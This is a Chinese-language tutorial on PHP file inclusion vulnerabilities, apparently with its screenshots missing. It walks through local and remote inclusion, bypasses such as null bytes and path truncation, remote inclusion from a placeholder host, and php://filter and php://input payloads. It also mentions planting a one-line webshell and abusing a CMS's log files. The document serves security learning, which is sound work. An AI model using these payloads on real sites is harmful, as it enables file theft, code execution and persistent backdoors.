一、先了解include、require、include_once、require_once
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
include 和 require 语句是相同的,除了错误处理方面:
(1)require 会生成致命错误(E_COMPILE_ERROR)并停止脚本
(2)include 只生成警告(E_WARNING),并且脚本会继续
语法: include 'filename’
比如现在有一个footer.php的文件↓
现在在另一个页面想把引用这个文件,则↓
二、本地文件包含
做文件包含的演示时,都要在php.ini开启allow_url_include
首先在WWW目录下创建一个inc文件夹
然后再inc文件夹中创建一个include.php文件和index.txt文件
其中,include.php中写入代码↓(意思是通过get请求参数f的值,参数f的值是要引入的文件,例如?f=index.txt,就是把index.txt的内容引入到include.php这个页面,include.php就会显示phpinfo()的信息)
index.txt写入↓(index.txt是被引入的文件内容)
最终操作就是↓
三、本地文件包含(有限制时,限制只能包含html文件)
这时如何突破呢?↓
include.php?filename=index.txt%00
include.php?filename=index.txt/./. (windows加上256+,Linux加上4096+)
四、远程文件包含
五、远程文件包含(有限制只能包含html文件时)
那该如何突破呢?↓
include.php?filename=http://xxx.com/1.txt?
include.php?filename=http://xxx.com/1.txt%23(%23是#)
include.php?filename=http://xxx.com/1.txt%20(%20是空格)
六、伪协议
file://
ftp://
php://
等等…
而文件包含会用到的伪协议是:↓
file://(任意文件读取)
include.php?filename=file://C:\1.txt
php://filter(任意文件读取)
include.php?filename=php://filter/convert.base64-encode/resource=index.txt ↓
php://input(任意代码执行)
include.php?filename=php://input
POST DATA:<?php phpinfo(); ?>
常用于写入一句话后门↓
先新建了shell.php的文件,并在文件中写入了一句话木马,这样就可以拿shell了↑
易酷cms文件包含漏洞的挖掘(通过日志文件)
my/show/id/ 这是cms的一个模板(可以这样理解吧),不同的cms是不一样的,自己搜一下即可
然后↓
错误的信息就会写入到日志文件中↓